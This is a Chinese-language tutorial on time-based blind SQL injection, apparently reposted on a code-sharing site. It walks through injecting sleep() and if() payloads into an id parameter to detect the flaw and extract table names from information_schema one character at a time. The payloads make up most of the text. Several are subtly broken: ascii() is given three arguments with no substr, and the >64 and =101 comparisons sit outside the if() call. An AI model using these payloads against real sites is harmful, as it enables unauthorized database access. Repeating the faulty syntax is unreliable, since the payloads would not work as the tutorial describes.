時間盲注


時間盲注比布爾盲注難度稍高 ,關鍵在於不論你怎么輸入就是不報錯

 

 那么根據什么去判斷注入呢  根據請求的時間  請求的時間延時了。

1.猜測參數的包裹情況

id=1這個1要么被'包裹 要么被"包裹  要么被)包裹

先去嘗試id= 1’ or sleep(3) %23

如果這個時候直接服務器過了三秒才反應

那么就存在時間注入

2.添加if語句,控制if第一個參數

如果某一個條件正確就延遲三秒,如果錯位就返回0 (也就是if第一個參數為1)                                                

id= 1’ or if(1,sleep(3),0) %23

 

 如果某一個條件為假就直接返回(也就是if第一個參數為0)      

3.控制參數詳情

id= 1’ or if((select table_name from information_schema.tables where table_schema=database() limit 0,1),sleep(3),0) %23

為了先驗證一下語句有沒有錯誤  我們先table_name當作1

id= 1’ or if((select 1 from information_schema.tables where table_schema=database() limit 0,1),sleep(3),0) %23

可以發現ok

然后用ascii()表示

id= 1’ or if((select ascii(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1),sleep(3),0) %23

接下來看這個數據庫的i的一個表名的第一個字符 ascii是不是大於64

id= 1’ or if((select ascii(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1),sleep(3),0) >64 %23

再看看是不是大於96,再看看是不是大於110(這個自己設定)

最終判斷出是101那么就是

id= 1’ or if((select ascii(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1),sleep(3),0) =101 %23


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM